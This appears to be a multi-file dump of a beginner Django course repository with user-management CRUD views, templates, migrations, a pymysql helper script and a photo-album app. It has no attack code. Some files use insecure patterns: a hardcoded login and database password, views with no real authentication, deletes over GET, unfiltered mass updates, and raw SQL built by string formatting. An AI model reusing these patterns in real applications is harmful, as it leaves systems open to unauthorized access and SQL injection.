"助教信息表" 96 | verbose_name_plural = verbose_name 97 | 98 | def __str__(self): 99 | return self.username -------------------------------------------------------------------------------- /django/ops/school/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /django/ops/school/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | from django.http import HttpResponse, JsonResponse 3 | 4 | # Create your views here. 5 | from .models import Teacher, Course, Student, TeacherAssistant 6 | 7 | 8 | def SchoolView(request, *args, **kwargs): 9 | # 返回新QuerySet API 10 | # .all() .filter() .order_by() .exclude() .distinct() 11 | 12 | # 实现一些字段别名,选择/过滤一些字段 13 | # .extra() .defer() .only() 14 | 15 | 16 | return HttpResponse("ok.") -------------------------------------------------------------------------------- /django/ops/scripts/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 用户列表 6 | 7 | 8 | 9 |
10 |
11 |

用户列表

12 |
13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | {% for k, obj in object_list.items() %} 23 | 24 | 25 | 26 | 27 | 28 | 29 | {% endfor %} 30 | 31 |
用户名年龄电话地址
{{ obj.username }}{{ obj.age }}{{ obj.tel }}{{ obj.address }}
32 | 33 |
34 |
35 | 36 | 37 | -------------------------------------------------------------------------------- /django/ops/scripts/main.py: -------------------------------------------------------------------------------- 1 | 2 | import datetime 3 | 4 | import pymysql 5 | 6 | 7 | 8 | def connect(): 9 | ''' 10 | def __init__(self, host=None, user=None, password="", 11 | database=None, port=0, unix_socket=None, 12 | charset='', sql_mode=None, 13 | read_default_file=None, conv=None, use_unicode=None, 14 | client_flag=0, cursorclass=Cursor, init_command=None, 15 | connect_timeout=10, ssl=None, read_default_group=None, 16 | compress=None, named_pipe=None, 17 | autocommit=False, db=None, passwd=None, local_infile=False, 18 | max_allowed_packet=16 * 1024 * 1024, defer_connect=False, 19 | auth_plugin_map=None, read_timeout=None, write_timeout=None, 20 | bind_address=None, binary_prefix=False, program_name=None, 21 | server_public_key=None): 22 | ''' 23 | return pymysql.connect( 24 | host = 'localhost', 25 | user = '', 26 | password = '123456', 27 | database = 'ops', 28 | port = 3306 29 | ) 30 | 31 | 32 | def Select(sql:str): 33 | conn = connect() 34 | cur = conn.cursor() 35 | try: 36 | cur.execute(sql) 37 | except Exception as e: 38 | return e.args, False 39 | else: 40 | rows = cur.fetchall() 41 | return rows, True 42 | finally: 43 | cur.close() 44 | conn.close() 45 | 46 | def Insert(sql:str): 47 | conn = connect() 48 | # conn.autocommit(True) 49 | cur = conn.cursor() 50 | try: 51 | cur.execute(sql) 52 | conn.commit() 53 | return "", True 54 | except Exception as e: 55 | conn.rollback() 56 | return e.args, False 57 | finally: 58 | cur.close() 59 | conn.close() 60 | 61 | def Binsert(sql:str): 62 | pass 63 | 64 | def Update(sql:str): 65 | conn = connect() 66 | cur = conn.cursor() 67 | try: 68 | cur.execute(sql) 69 | if cur.rowcount != 1: 70 | return "Update fail", False 71 | 72 | conn.commit() 73 | return "", True 74 | except Exception as e: 75 | conn.rollback() 76 | return e.args, False 77 | finally: 78 | cur.close() 79 | conn.close() 80 | 81 | def Delete(sql:str): 82 | conn = connect() 83 | cur = conn.cursor() 84 | try: 85 | cur.execute(sql) 86 | if cur.rowcount != 1: 87 | return "Delete fail", False 88 | 89 | conn.commit() 90 | return "", True 91 | except Exception as e: 92 | conn.rollback() 93 | return e.args, False 94 | finally: 95 | cur.close() 96 | conn.close() 97 | 98 | 99 | def main(): 100 | # 查询 101 | ''' 102 | sql = "select * from users;" 103 | result, ok = Select(sql) 104 | for i in result: 105 | print(i) 106 | ''' 107 | 108 | # 新增 109 | ''' 110 | cur_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") 111 | print(cur_time, type(cur_time)) 112 | sql = "INSERT INTO users(username, age, sex, phone, address, create_time, update_time) " \ 113 | "VALUES('51reboot', 4, '男', '1321xxx', '北京', '{}', '{}');".format(cur_time, cur_time) 114 | print(sql) 115 | result, ok = Insert(sql) 116 | print(ok) 117 | print(result) 118 | ''' 119 | 120 | # 修改 121 | ''' 122 | sql = "UPDATE users SET age = 22 WHERE username = '51reboot'" 123 | result, ok = Update(sql) 124 | print(ok) 125 | print(result) 126 | ''' 127 | 128 | # 删除 129 | sql = "DELETE from users WHERE username = '51reboot'" 130 | result, ok = Delete(sql) 131 | print(ok) 132 | print(result) 133 | 134 | 135 | 136 | if __name__ == '__main__': 137 | main() -------------------------------------------------------------------------------- /django/ops/scripts/opmain.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | # 标准模块 4 | import os 5 | import sys 6 | 7 | # 第三方模块 8 | from prettytable import PrettyTable 9 | from jinja2 import Environment, FileSystemLoader 10 | 11 | 12 | def load(): 13 | ''' 14 | 加载文件数据到内存 15 | :return: dict 16 | ''' 17 | pass 18 | 19 | def dump(): 20 | ''' 21 | 写内存数据到文件中 22 | :return: 23 | ''' 24 | pass 25 | 26 | def addUser(): 27 | ''' 28 | 添加用户 29 | add monkey 12 132xxx beijing 30 | :return: 31 | ''' 32 | pass 33 | 34 | def updateUser(): 35 | ''' 36 | 修改用户 37 | update monkey set age = 20 38 | :return: 39 | ''' 40 | pass 41 | 42 | def deleteUser(): 43 | ''' 44 | 删除用户 45 | delete monkey 46 | :return: 47 | ''' 48 | pass 49 | 50 | def listUser(): 51 | ''' 52 | 列出全部用户 53 | list 54 | :return: 55 | ''' 56 | pass 57 | 58 | def findUser(): 59 | ''' 60 | 查找指定用户 61 | find monkey 62 | :return: 63 | ''' 64 | pass 65 | 66 | def logout(): 67 | ''' 68 | 退出 69 | exit 70 | :return: 71 | ''' 72 | pass 73 | 74 | def displayUser(): 75 | ''' 76 | 分页 77 | :return: 78 | display page 2 79 | display page 2 pagesize 5 80 | ''' 81 | pass 82 | 83 | def outputHtml(): 84 | ''' 85 | 输出html 86 | html 87 | :return: 88 | ''' 89 | # https://www.programcreek.com/python/example/1632/jinja2.Environment 90 | # 配置jinja2在本地文件系统的搜索路径 91 | loader = FileSystemLoader('.', followlinks=True) 92 | env = Environment(loader=loader) 93 | template = env.get_template('index.html') 94 | data = template.render(object_list={}) 95 | print(data) 96 | 97 | 98 | def main(): 99 | ''' 100 | 入口函数 101 | :return: 102 | ''' 103 | pass 104 | 105 | outputHtml() 106 | 107 | 108 | if __name__ == '__main__': 109 | main() -------------------------------------------------------------------------------- /django/ops/templates/user_add.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 添加用户 6 | 7 | 8 |
9 |
10 | 用户名:
11 | 性别:
15 | 年龄:
16 | 17 | 电话:
18 | 地址:
19 |
20 | 21 | {% if code == -1 %} 22 |

{{ msg }}

23 | {% endif %} 24 |
25 |
26 | 27 | -------------------------------------------------------------------------------- /django/ops/templates/user_login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | User Login 6 | 7 | 8 |
9 |

51reboot 登录

10 |
11 | 用户名:
12 | 密    码:
13 |
14 |
15 |
16 | 17 | -------------------------------------------------------------------------------- /django/ops/templates/user_update.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 添加用户 6 | 7 | 8 |
9 |
10 | 用户名:
11 | 性别:
24 | 年龄:
25 | 26 | 电话:
27 | 地址:
28 | 29 |
30 |
31 | 32 | -------------------------------------------------------------------------------- /django/ops/templates/users.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 用户管理 7 | 8 | 9 | 10 |
11 | 退出 12 |
13 | 14 | 15 | 16 |
17 |
18 |

用户列表

19 |
20 |
21 | 24 |
25 |
26 | {% load pagination_tags %} 27 | {% autopaginate object_list 3 as object_list_page %} 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | {% for obj in object_list_page %} 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 58 | 59 | {% endfor %} 60 | 61 |
#用户名年龄性别电话地址创建时间更新时间操作
{{ forloop.counter }}{{ obj.username }}{{ obj.age }}{{ obj.sex }}{{ obj.phone }}{{ obj.address }}{{ obj.create_time }}{{ obj.update_time }} 51 | 54 | 57 |
62 |
{% paginate %}
63 | 64 |
65 |
66 | 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /django/ops/users/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/ops/users/__init__.py -------------------------------------------------------------------------------- /django/ops/users/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | from .models import Users 5 | 6 | class UsersAdmin(admin.ModelAdmin): 7 | # https://www.cnblogs.com/wumingxiaoyao/p/6928297.html 8 | 9 | # listdisplay设置要显示在列表中的字段(id字段是Django模型的默认主键) 10 | list_display = ['username', 'age', 'phone', 'address', 'create_time', 'update_time'] 11 | 12 | # 搜索字段 13 | search_fields = ['username', 'phone'] 14 | 15 | # 过滤字段 16 | list_filter = ['username', 'phone'] 17 | 18 | # ordering设置默认排序字段,负号表示降序排序 19 | ordering = ['-update_time', 'create_time'] 20 | 21 | # list_per_page设置每页显示多少条记录,默认是100条 22 | list_per_page = 2 23 | 24 | # list_editable 设置默认可编辑字段 25 | # list_editable = ['machine_room_id', 'temperature'] 26 | 27 | 28 | admin.site.register(Users, UsersAdmin) 29 | -------------------------------------------------------------------------------- /django/ops/users/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class UsersConfig(AppConfig): 5 | name = 'users' 6 | -------------------------------------------------------------------------------- /django/ops/users/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-07 00:48 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | initial = True 11 | 12 | dependencies = [ 13 | ] 14 | 15 | operations = [ 16 | migrations.CreateModel( 17 | name='Users', 18 | fields=[ 19 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 20 | ('username', models.CharField(max_length=32, unique=True, verbose_name='用户名')), 21 | ('age', models.IntegerField(verbose_name='年龄')), 22 | ('phone', models.CharField(max_length=11, verbose_name='手机号')), 23 | ('address', models.TextField(verbose_name='地址')), 24 | ], 25 | options={ 26 | 'db_table': 'users', 27 | }, 28 | ), 29 | ] 30 | -------------------------------------------------------------------------------- /django/ops/users/migrations/0002_auto_20190607_0113.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-07 01:13 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | import django.utils.timezone 7 | 8 | 9 | class Migration(migrations.Migration): 10 | 11 | dependencies = [ 12 | ('users', '0001_initial'), 13 | ] 14 | 15 | operations = [ 16 | migrations.AlterModelOptions( 17 | name='users', 18 | options={'verbose_name': '用户表', 'verbose_name_plural': '用户表'}, 19 | ), 20 | migrations.AddField( 21 | model_name='users', 22 | name='create_time', 23 | field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now, verbose_name='创建时间'), 24 | preserve_default=False, 25 | ), 26 | migrations.AddField( 27 | model_name='users', 28 | name='update_time', 29 | field=models.DateTimeField(auto_now=True, verbose_name='更新时间'), 30 | ), 31 | migrations.AlterField( 32 | model_name='users', 33 | name='address', 34 | field=models.TextField(blank=True, verbose_name='地址'), 35 | ), 36 | migrations.AlterField( 37 | model_name='users', 38 | name='phone', 39 | field=models.CharField(max_length=11, unique=True, verbose_name='手机号'), 40 | ), 41 | ] 42 | -------------------------------------------------------------------------------- /django/ops/users/migrations/0003_auto_20190607_0120.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-07 01:20 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('users', '0002_auto_20190607_0113'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterModelOptions( 16 | name='users', 17 | options={'ordering': ['update_time'], 'verbose_name': '用户表', 'verbose_name_plural': '用户表'}, 18 | ), 19 | ] 20 | -------------------------------------------------------------------------------- /django/ops/users/migrations/0004_auto_20190608_1231.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-08 12:31 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('users', '0003_auto_20190607_0120'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='users', 17 | name='sex', 18 | field=models.CharField(choices=[('男', 'Freshman'), ('女', 'Sophomore')], default='', max_length=1, verbose_name='性别'), 19 | preserve_default=False, 20 | ), 21 | migrations.AlterField( 22 | model_name='users', 23 | name='username', 24 | field=models.CharField(db_index=True, max_length=32, unique=True, verbose_name='用户名'), 25 | ), 26 | ] 27 | -------------------------------------------------------------------------------- /django/ops/users/migrations/0005_auto_20190608_1233.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-08 12:33 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('users', '0004_auto_20190608_1231'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterField( 16 | model_name='users', 17 | name='sex', 18 | field=models.CharField(choices=[('male', '男'), ('female', '女')], max_length=1, verbose_name='性别'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /django/ops/users/migrations/0006_auto_20190608_1234.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-08 12:34 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('users', '0005_auto_20190608_1233'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterField( 16 | model_name='users', 17 | name='sex', 18 | field=models.CharField(choices=[('male', '男'), ('female', '女')], max_length=6, verbose_name='性别'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /django/ops/users/migrations/0007_auto_20190613_0905.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-13 09:05 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('users', '0006_auto_20190608_1234'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AlterField( 16 | model_name='users', 17 | name='sex', 18 | field=models.CharField(choices=[('男', '男'), ('女', '女')], max_length=6, verbose_name='性别'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /django/ops/users/migrations/0008_users_remark.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2019-06-20 04:42 3 | from __future__ import unicode_literals 4 | 5 | from django.db import migrations, models 6 | 7 | 8 | class Migration(migrations.Migration): 9 | 10 | dependencies = [ 11 | ('users', '0007_auto_20190613_0905'), 12 | ] 13 | 14 | operations = [ 15 | migrations.AddField( 16 | model_name='users', 17 | name='remark', 18 | field=models.CharField(blank=True, max_length=200, null=True, verbose_name='备注'), 19 | ), 20 | ] 21 | -------------------------------------------------------------------------------- /django/ops/users/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/ops/users/migrations/__init__.py -------------------------------------------------------------------------------- /django/ops/users/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | 5 | class Users(models.Model): 6 | SEX_CHOICES = ( 7 | ('男', '男'), 8 | ('女', '女'), 9 | # ('存储的值', '显示的值') 10 | ) 11 | 12 | username = models.CharField(max_length=32, unique=True, db_index=True, verbose_name="用户名") 13 | age = models.IntegerField(verbose_name="年龄") 14 | sex = models.CharField(max_length=6, choices=SEX_CHOICES, verbose_name='性别') 15 | phone = models.CharField(max_length=11, unique=True, verbose_name="手机号") 16 | address = models.TextField(blank=True, verbose_name="地址") 17 | 18 | # null=True表示数据库是否唯恐 19 | # blank=True表示admin是否可提交空值 20 | remark = models.CharField(max_length=200, null=True, blank=True, verbose_name="备注") 21 | 22 | # create_time and update_time只读的, 不允许admin修改. 23 | create_time = models.DateTimeField(auto_now_add=True, verbose_name="创建时间") 24 | update_time = models.DateTimeField(auto_now=True, verbose_name="更新时间") 25 | 26 | ''' 27 | https://blog.51cto.com/xujpxm/2090382 28 | 29 | DateTimeField、DateField和TimeField 30 | 其值分别对应着Python里的datetime.datetime、datetime.date和datetime.time三个实例, 31 | 这三个Field里都有两个参数:auto_now和auto_now_add,默认值均为False。 32 | 33 | auto_now: 34 | 每次修改model,都会自动更新 35 | 36 | auto_now_add: 37 | 设置为True时,会在model对象第一次被创建时,将字段的值设置为创建时的时间,以后修改对象时,字段的值不会再更新。 38 | 39 | auto_now和auto_now_add被设置为True后,这样做会导致字段成为editable=False和blank=True的状态。 40 | 41 | 42 | blank=Ture表示允许在表单中不输入值 43 | ''' 44 | 45 | class Meta: 46 | db_table = "users" 47 | # https://www.cnblogs.com/haoshine/p/6210210.html 48 | verbose_name = '用户表' 49 | ''' 50 | verbose_name指定在admin管理界面中显示中文; 51 | verbose_name表示单数形式的显示, 52 | verbose_name_plural表示复数形式的显示;中文的单数和复数一般不作区别。 53 | ''' 54 | verbose_name_plural = verbose_name 55 | 56 | ordering = ['update_time', ] 57 | 58 | # 基类,不生成数据表,只供其它子类来继承 59 | # abstract = True 60 | 61 | # 设置权限 62 | # permissions = (('定义好的权限', '权限说明'), ) 63 | 64 | # 联合唯一键, 联合唯一约束 65 | # unique_together = ('username', 'phone') 66 | 67 | # 定义模型类属于哪个application 68 | # app_label = "users" 69 | 70 | # 定义数据库表空间 71 | # db_tablespace 72 | 73 | def __str__(self): 74 | return self.username -------------------------------------------------------------------------------- /django/ops/users/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /django/ops/users/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | 3 | # Create your views here. 4 | import csv 5 | import datetime 6 | 7 | from .models import Users 8 | 9 | from django.http import HttpResponse, JsonResponse 10 | from django.shortcuts import redirect 11 | from django.views.decorators.http import require_http_methods 12 | 13 | 14 | @require_http_methods(['GET','POST']) 15 | def UserLoginView(request): 16 | if request.method == 'POST': 17 | username = request.POST.get('username') 18 | password = request.POST.get('password') 19 | if username == '51reboot' and password == '123456': 20 | return redirect('/users/list/') 21 | else: 22 | return render(request, 'user_login.html') 23 | 24 | @require_http_methods(['GET']) 25 | def UserLogoutView(request): 26 | return redirect("/user/login/") 27 | 28 | @require_http_methods(['GET','POST']) 29 | def UserCreateView(request): 30 | 31 | if request.method == 'GET': 32 | return render(request, 'user_add.html') 33 | 34 | elif request.method == 'POST': 35 | data = request.POST.dict() 36 | try: 37 | Users.objects.create(**data) 38 | except Exception as e: 39 | errMsg = "Create user err, msg: {}".format(e.args) 40 | print(errMsg) 41 | context = {'code' : -1, 'msg' : errMsg} 42 | return render(request, 'user_add.html', context=context) 43 | return redirect('/users/list/') 44 | 45 | @require_http_methods(['GET']) 46 | def UserListView(request): 47 | 48 | if request.method == 'GET': 49 | objs = Users.objects.all() 50 | return render(request, 'users.html', context={'object_list' : objs}) 51 | 52 | @require_http_methods(['GET']) 53 | def UserDeleteView(request, pk): 54 | 55 | if request.method == 'GET': 56 | context = {'code': -1, 'data' : '', 'msg': ''} 57 | 58 | try: 59 | obj = Users.objects.get(pk=pk) 60 | except Exception as e: 61 | errMsg = "Get user err, msg: {}".format(e.args) 62 | context['msg'] = errMsg 63 | else: 64 | obj.delete() 65 | context['msg'] = "Delete succ" 66 | return redirect("/users/list/") 67 | 68 | @require_http_methods(['GET','POST']) 69 | def UserUpdateView(request, pk): 70 | 71 | if request.method == 'GET': 72 | obj = Users.objects.get(pk=pk) 73 | return render(request, 'user_update.html', context={'obj' : obj}) 74 | 75 | elif request.method == 'POST': 76 | data = request.POST.dict() 77 | data.pop("username", None) 78 | Users.objects.filter(pk=pk).update(**data) 79 | return redirect("/users/list/") 80 | 81 | 82 | 83 | '''导出csv 84 | ''' 85 | @require_http_methods(['GET']) 86 | def UserExportCsvView(request): 87 | # Create the HttpResponse object with the appropriate CSV header. 88 | cur_time = datetime.datetime.now().strftime("%Y-%m-%d") 89 | response = HttpResponse(content_type='text/csv') 90 | response['Content-Disposition'] = 'attachment; filename="51reboot-{}.csv"'.format(cur_time) 91 | 92 | writer = csv.writer(response) 93 | writer.writerow(['First row', 'Foo', 'Bar', 'Baz']) 94 | writer.writerow(['Second row', 'A', 'B', 'C', '"Testing"', "Here's a quote"]) 95 | 96 | return response -------------------------------------------------------------------------------- /django/webphoto/README.md: -------------------------------------------------------------------------------- 1 | # 相册 2 | 3 | ## 效果图 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /django/webphoto/data/upload/background/bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/background/bg.jpg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117134040_96.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117134040_96.jpeg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117134102_39.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117134102_39.jpeg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117134318_24.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117134318_24.jpg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117134538_89.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117134538_89.jpg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117134641_54.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117134641_54.jpg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117134716_81.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117134716_81.jpg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117134807_97.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117134807_97.jpeg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117134928_70.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117134928_70.jpeg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117135023_50.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117135023_50.jpeg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117135059_39.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117135059_39.jpeg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117135134_94.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117135134_94.jpeg -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/17/20181117135241_52.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/17/20181117135241_52.JPG -------------------------------------------------------------------------------- /django/webphoto/data/upload/img/2018/11/18/20181118202412_28.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/data/upload/img/2018/11/18/20181118202412_28.jpeg -------------------------------------------------------------------------------- /django/webphoto/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | 5 | if __name__ == "__main__": 6 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "webphoto.settings") 7 | try: 8 | from django.core.management import execute_from_command_line 9 | except ImportError: 10 | # The above import may fail for some other reason. Ensure that the 11 | # issue is really that Django is missing to avoid masking other 12 | # exceptions on Python 2. 13 | try: 14 | import django 15 | except ImportError: 16 | raise ImportError( 17 | "Couldn't import Django. Are you sure it's installed and " 18 | "available on your PYTHONPATH environment variable? Did you " 19 | "forget to activate a virtual environment?" 20 | ) 21 | raise 22 | execute_from_command_line(sys.argv) 23 | -------------------------------------------------------------------------------- /django/webphoto/requirements.txt: -------------------------------------------------------------------------------- 1 | asn1crypto==0.24.0 2 | cffi==1.11.5 3 | cryptography==2.4.1 4 | Django==1.11 5 | idna==2.7 6 | Pillow==5.3.0 7 | pycparser==2.19 8 | PyMySQL==0.9.2 9 | pytz==2018.7 10 | six==1.11.0 11 | -------------------------------------------------------------------------------- /django/webphoto/show/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/show/__init__.py -------------------------------------------------------------------------------- /django/webphoto/show/__pycache__/__init__.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/show/__pycache__/__init__.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/show/__pycache__/admin.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/show/__pycache__/admin.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/show/__pycache__/models.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/show/__pycache__/models.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/show/__pycache__/storage.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/show/__pycache__/storage.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/show/__pycache__/views.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/show/__pycache__/views.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/show/admin.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from .models import Photo, Tag, PhotoGroup, IndexBackground 4 | 5 | from django.contrib import admin 6 | from django.dispatch import receiver 7 | from django.db import models 8 | 9 | 10 | 11 | # 图片自动删除 12 | @receiver(models.signals.post_delete, sender=Photo) 13 | @receiver(models.signals.post_delete, sender=IndexBackground) 14 | def auto_delete_file_on_delete(sender, instance, **kwargs): 15 | """ 16 | Deletes file from filesystem 17 | when corresponding `Photo` object is deleted. 18 | """ 19 | if instance.img_upload: 20 | if os.path.isfile(instance.img_upload.path): 21 | os.remove(instance.img_upload.path) 22 | 23 | # 图片自动更新 24 | @receiver(models.signals.pre_save, sender=Photo) 25 | @receiver(models.signals.pre_save, sender=IndexBackground) 26 | def auto_delete_file_on_change(sender, instance, **kwargs): 27 | """ 28 | Deletes old file from filesystem 29 | when corresponding `Photo` object is updated 30 | with new file. 31 | """ 32 | if not instance.pk: 33 | return False 34 | 35 | try: 36 | old_file = sender.objects.get(pk=instance.pk).img_upload 37 | except sender.DoesNotExist: 38 | return False 39 | 40 | new_file = instance.img_upload 41 | if not old_file == new_file: 42 | if os.path.isfile(old_file.path): 43 | os.remove(old_file.path) 44 | 45 | 46 | class PhotoAdmin(admin.ModelAdmin): 47 | search_fields = ('img_title',) 48 | list_filter = ('create_time', 'update_time', 'display', ) 49 | list_display = ( 50 | 'img_title', 51 | 'img_context', 52 | 'img_upload', 53 | 'img_group', 54 | 'like_count', 55 | 'display', 56 | 'image_view', 